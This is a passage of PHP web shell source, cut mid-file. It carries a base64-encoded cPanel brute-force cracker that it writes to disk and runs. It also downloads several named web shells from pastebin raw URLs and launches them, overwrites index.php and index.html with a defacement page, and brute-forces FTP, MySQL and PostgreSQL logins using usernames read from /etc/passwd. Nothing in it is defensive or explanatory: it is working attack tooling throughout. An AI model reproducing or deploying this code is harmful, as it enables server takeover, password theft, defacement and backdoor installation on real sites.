Z0NrUnBjbVZqZEc5eWVVbHVaR1Y0SUhKbFlXUnRaUzVvZEcxc0lBcEJaR1JVZVhCbElIUmxlSFF2Y0d4aAphVzRnTG5Cb2NDQUtRV1JrU0dGdVpHeGxjaUJ6WlhKMlpYSXRjR0Z5YzJWa0lDNXdhSEFnQ2tGa1pGUjVjR1VnZEdWNGRDOXdiR0ZwCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0KJzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKCQkJCQkgCgkJCQkJICRmaWxlID0gZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJIHsKCQkJCQkJJHMgPSBmZ2V0cygkZmlsZSk7CgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCgkJCQkJCQljb250aW51ZTsKCQkJCQkJc3ltbCgkbWF0Y2hlcywkbWF0Y2hlcyk7CgkJCQkJIH0KCQkJCQlmY2xvc2UoJGZpbGUpOwoJCQkJCWVjaG8gIjwvdGFibGU+IjsKCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PDwgQkFDSzwvYT4iOwpleGl0Owp9Cj8+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPjx0YWJsZT4gICAgICAJCQkJCiAgICA8L3N0cm9uZz48YnI+PGJyPjxjZW50ZXI+PGZvbnQgc2l6ZT0iMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiMwMGZmMDAiPistLT1bIENwYW5lbCBCcnV0ZUZvcmNlIF09LS0rPC9mb250PjwvY2VudGVyPjxicj4KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNsYXNzPSJ0YWJuZXQiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgk8dHI+Cgk8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPGNlbnRlcj48Yj48Zm9udCBzaXplPSIzIiBzdHlsZT0iaXRhbGljIiBjb2xvcj0iIzAwZmYwMCI+WyBDcGFuZWwgQnJ1dGUgRm9yY2UgXTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPgogICAgPHRyPgogICAgPHRkPgogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5Vc2VybmFtZSBMaXN0IDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI3OSIgY2xhc3MgPSdpbnB1dHonIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7Pz48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+UGFzc3dvcmQgTGlzdCA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNzkiIGNsYXNzID0naW5wdXR6JyByb3dzPSIxMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+CiAgICA8c3BhbiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPlNpbXBsZSA6IDwvc3Ryb25nPiA8L3NwYW4+Cgk8c3Ryb25nPgoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2ltcGxlIiBjaGVja2VkPSJjaGVja2VkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz4KICAgIDxmb250IGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+L2V0Yy9wYXNzd2QgOiA8L3N0cm9uZz4gPC9mb250PgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+PHNwYW4gY2xhc3M9InN0eWxlMyI+PHN0cm9uZz4KCTwvc3Ryb25nPgoJPC9zcGFuPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiICBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPHRyPgo8L2Zvcm0+IAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBDb25maWcgXTwvc3Ryb25nPjwvY2VudGVyPjwvdGQ+CiAgICAJCQkJPC90cj4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWVuZGFwYXRrYW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9InBhc3N3ZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Gb2xkZXIgTmFtZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjUwIiBuYW1lPSJmb2xkZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPiAgIAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBXb3JkbGlzdCBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCTxzdHJvbmc+CjxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd29yZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5VcmwgQ29uZmlnIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc2l6ZT0iNTAiIG5hbWU9InVybCIgdHlwZT0idGV4dCIgdmFsdWU9Imh0dHA6Ly93d3cuIj48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPgo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEluZm8gCglTZWN1cml0eSBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlNhZmUgTW9kZTwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3N0cm9uZz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RGVzaWJsZSBGdW5jdGlvbjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWF0aWthbiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2VrYXRhbiI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KCjw/cGhwCmlmKCcnPT0oJGZ1bmM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKQp7CmVjaG8gIjxmb250IGNvbG9yPSMwMGZmMDA+Tm8gU2VjdXJpdHkgZm9yIEZ1bmN0aW9uPC9mb250PjwvYj4iOwp9ZWxzZXsKZWNobyAnPHNjcmlwdD5hbGVydCgiUGxlYXNlIHNlZSBiZWxvdyBhbmQgcHJlc3MgPlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ITwiKTs8L3NjcmlwdD4nOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGZ1bmM8L2ZvbnQ+PC9iPiI7CmVjaG8gJzx0cj48dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+JzsKZWNobyAnPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCEiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPjwvdHI+JzsKfQo/Pjwvc3Ryb25nPjwvdGQ+PC90cj48L3RhYmxlPjwvdGFibGU+PC90YWJsZT4KPD8KYnJlYWs7CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYmRzCgpjYXNlICcnOgoKPz48P3BocCAKCmJyZWFrOwoKCi8vIFVwbG9hZGVyCmNhc2UgJ3VwbG9hZGVyJzoKCmVjaG8gJzxjZW50ZXI+PGI+Ky0tPVsgVXBsb2FkZXIgXT0tLSs8L2I+PGJyPjxicj48YnI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsKZWNobyAnPGNlbnRlcj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgewoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgCgpzaXplPSIxIj48Zm9udCBjb2xvcj0id2hpdGUiPiBEb25lICEhPC9mb250Pjxicj4nOyB9CgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkZhaWxlZCA6KCA8L2ZvbnQ+PC9wPgoJPC90ZD48L3RhYmxlPjwvdHI+CgonOyB9Cn0KYnJlYWs7Cgp9fQo/Pjxicj48YnI+PGJyPjxjZW50ZXI+PGZvcm0gYWN0aW9uPScnIG1ldGhvZD0ncG9zdCc+Cjx0YWJsZSBjbGFzcz0ndGFibmV0JyBzdHlsZT0nd2lkdGg6NjUwcHg7JyBib3JkZXI9Jyc+Cjx0aCBjb2xzcGFuPTEwPlNlY3VyaXR5IEluZm88L3RoPjx0cj4KPHRkPlN5c3RlbSA8L3RkPgo8dGQ+PD9waHAKZWNobyBwaHBfdW5hbWUoKTs/PjwvdGQ+CjwvdHI+CiA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+U2FmZSBNb2RlPC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIiBjb2xzcGFuPSI1Ij4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CgkJCQkJICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+RGVzaWJsZSBGdW5jdGlvbjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgY29sc3Bhbj0iNSI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkKCgo8P3BocAppZignJz09KCRmdW5jPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkKewplY2hvICI8Zm9udCBjb2xvcj0jMDBmZjAwPk5vIFNlY3VyaXR5IGZvciBGdW5jdGlvbjwvZm9udD48L2I+IjsKfWVsc2V7CmVjaG8gJzxzY3JpcHQ+YWxlcnQoIlBsZWFzZSBzZWUgYmVsb3cgYW5kIHByZXNzID5QbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCE8Iik7PC9zY3JpcHQ+JzsKZWNobyAiPGZvbnQgY29sb3I9cmVkPiRmdW5jPC9mb250PjwvYj4iOwplY2hvICc8dHI+PHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPic7CmVjaG8gJzx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhIj4KICAgIDwvdGQ+PC90cj4nOwp9Cj8+PHRyPgoKPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+CjxjZW50ZXI+PGJyPjxicj48Yj48ZGl2IGNsYXNzPSJpbmZvIj4tPVsgWC1DcGFuZWwgQ3JhY2tlciBieSA8c3BhbiBjbGFzcz0iZ2F5YSI+PGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS93YWpkYW4uYnV0dCI+V2FqZGFuIEJ1dHQ8L2E+PC9zcGFuPiBdPS08L2Rpdj4gCjxkaXYgY2xhc3M9ImpheWEiPiAgJmNvcHk7IDIwMTQgVmFqMSBWMXJ1czwvZGl2PjwvY2VudGVyPjwvYj48YnI+PGJyPgoKPC9ib2R5PjwvaHRtbD4=';
1657 $file = fopen("cpc.php","w");
1658 $write = fwrite ($file ,base64_decode($cpc));
1659 fclose($file);
1660 header("location:cpc.php"); }
1661
1662
1663 function download_remote_file($file_url, $save_to)
1664 {
1665 $content = file_get_contents($file_url);
1666
1667 file_put_contents($save_to, $content);
1668
1669 }
1670 if (isset($_POST['dhanush'])) {
1671 download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
1672 header("location:dhanush.php"); }
1673
1674 if (isset($_POST['symlink'])) {
1675 download_remote_file('http://pastebin.com/raw/FaQ9sQyE', realpath("./") . '/symlink.php');
1676 header("location:symlink.php"); }
1677
1678
1679
1680 if (isset($_POST['anonghosts'])) {
1681 download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
1682 header("location:anonghosts.php"); }
1683
1684 if (isset($_POST['blackhat'])) {
1685 download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
1686 header("location:blackhat.php"); }
1687
1688 if (isset($_POST['imageshell'])) {
1689 download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
1690 header("location:imageshell.php"); }
1691
1692 if (isset($_POST['madspot'])) {
1693 download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
1694 header("location:madspot.php"); }
1695
1696 if (isset($_POST['pcd'])) { // password is aknight
1697 download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
1698 header("location:pcd.php"); }
1699
1700 if (isset($_POST['cheta'])) { // password is aknight
1701 download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
1702 header("location:cheta.php"); }
1703
1704
1705 if (isset($_POST['1337worm'])) { // password is aknight
1706 download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
1707 header("location:1337worm.php"); }
1708
1709
1710 if (isset($_POST['joker'])) { // password is aknight
1711 download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
1712 header("location:joker.php"); }
1713
1714
1715 if (isset($_POST['b374k'])) { // password is aknight
1716 download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
1717 header("location:b374k.php"); }
1718
1719 if (isset($_POST['defacepage'])) {
1720 $file = fopen("index.php","w");
1721 $write = fwrite ($file ,base64_decode($defacepage));
1722 fclose($file);
1723 echo 'Done'; }
1724
1725 if (isset($_POST['defacepage'])) {
1726 $file = fopen("index.html","w");
1727 $write = fwrite ($file ,base64_decode($defacepage));
1728 fclose($file);
1729 echo 'Done!'; }
1730
1731function actionBruteforce() {
1732 An0n3xPloiTeRHeader();
1733 if( isset($_POST['proto']) ) {
1734 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1735 if( $_POST['proto'] == 'ftp' ) {
1736 function An0n3xPloiTeRBruteForce($ip,$port,$login,$pass) {
1737 $fp = @ftp_connect($ip, $port?$port:21);
1738 if(!$fp) return false;
1739 $res = @ftp_login($fp, $login, $pass);
1740 @ftp_close($fp);
1741 return $res;
1742 }
1743 } elseif( $_POST['proto'] == 'mysql' ) {
1744 function An0n3xPloiTeRBruteForce($ip,$port,$login,$pass) {
1745 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1746 @mysql_close($res);
1747 return $res;
1748 }
1749 } elseif( $_POST['proto'] == 'pgsql' ) {
1750 function An0n3xPloiTeRBruteForce($ip,$port,$login,$pass) {
1751 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1752 $res = @pg_connect($str);
1753 @pg_close($res);
1754 return $res;
1755 }
1756 }
1757 $success = 0;
1758 $attempts = 0;
1759 $server = explode(":", $_POST['server']);
1760 if($_POST['type'] == 1) {
1761 $temp = @file('/etc/passwd');
1762 if( is_array($temp) )
1763 foreach($temp as $line) {
1764 $line = explode(":", $line);
1765 ++$attempts;
1766 if( An0n3xPloiTeRBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1767 $success++;
1768 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1769 }
1770 if(@$_POST['reverse']) {
1771 $tmp = "";
1772 for($i=strlen($line[0])-1; $i>=0; --$i)
1773 $tmp .= $line[0][$i];
1774 ++$attempts;
1775 if( An0n3xPloiTeRBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1776 $success++;
1777 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1778 }
1779 }
1780 }
1781 } elseif($_POST['type'] == 2) {
1782 $temp = @file($_POST['dict']);
1783 if( is_array($temp) )
1784 foreach($temp as $line) {
1785 $line = trim($line);
1786 ++$attempts;
1787 if( An0n3xPloiTeRBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1788 $success++;
1789 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1790 }
1791 }
1792 }
1793 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1794 }
1795 echo '<center><h1>Bruteforce</h1></center><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1796 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1797 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1798 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1799 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1800 .'<span>Server:port</span></td>'
1801 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1802 .'<tr><td><span>Brute type</span></td>'
1803 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1804 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1805 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1806 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1807 .'<td><input type=text name=login value="root"></td></tr>'
1808 .'<tr><td><span>Dictionary</span></td>'
1809 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1810 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1811 echo '</div><br>';
1812 An0n3xPloiTeRFooter();
1813}
1814
1815function actionSql() {
1816 class DbClass {
1817 var $type;
1818 var $link;
1819 var $res;
1820 function DbClass($type) {
1821 $this->type = $type;
1822 }
1823 function connect($host, $user, $pass, $dbname){
1824 switch($this->type) {
1825 case 'mysql':
1826 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1827 break;
1828 case 'pgsql':
1829 $host = explode(':', $host);
1830 if(!$host[1]) $host[1]=5432;
1831 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1832 break;
1833 }
1834 return false;
1835 }
1836 function selectdb($db) {
1837 switch($this->type) {
1838 case 'mysql':
1839 if (@mysql_select_db($db))return true;
1840 break;
1841 }
1842 return false;
1843 }
1844 function query($str) {
1845 switch($this->type) {
1846 case 'mysql':
1847 return $this->res = @mysql_query($str);
1848 break;
1849 case 'pgsql':
1850 return $this->res = @pg_query($this->link,$str);
1851 break;
1852 }
1853 return false;
1854 }
1855 function fetch() {
1856 $res = func_num_args()?func_get_arg(0):$this->res;
1857 switch($this->type) {
1858 case 'mysql':
1859 return @mysql_fetch_assoc($res);
1860 break;
1861 case 'pgsql':
1862 return @pg_fetch_assoc($res);
1863 break;
1864 }
1865 return false;
1866 }
1867 function listDbs() {
1868 switch($this->type) {
1869 case 'mysql':
1870 return $this->query("SHOW databases");
1871 break;
1872 case 'pgsql':
1873 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1874 break;
1875 }
1876 return false;
1877 }
1878 function listTables() {
1879 switch($this->type) {
1880 case 'mysql':
1881 return $this->res = $this->query('SHOW TABLES');
1882 break;
1883 case 'pgsql':
1884 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1885 break;
1886 }
1887 return false;
1888 }
1889 function error() {
1890 switch($this->type) {
1891 case 'mysql':
1892 return @mysql_error();
1893 break;
1894 case 'pgsql':
1895 return @pg_last_error();
1896 break;
1897 }
1898 return false;
1899 }
1900 function setCharset($str) {
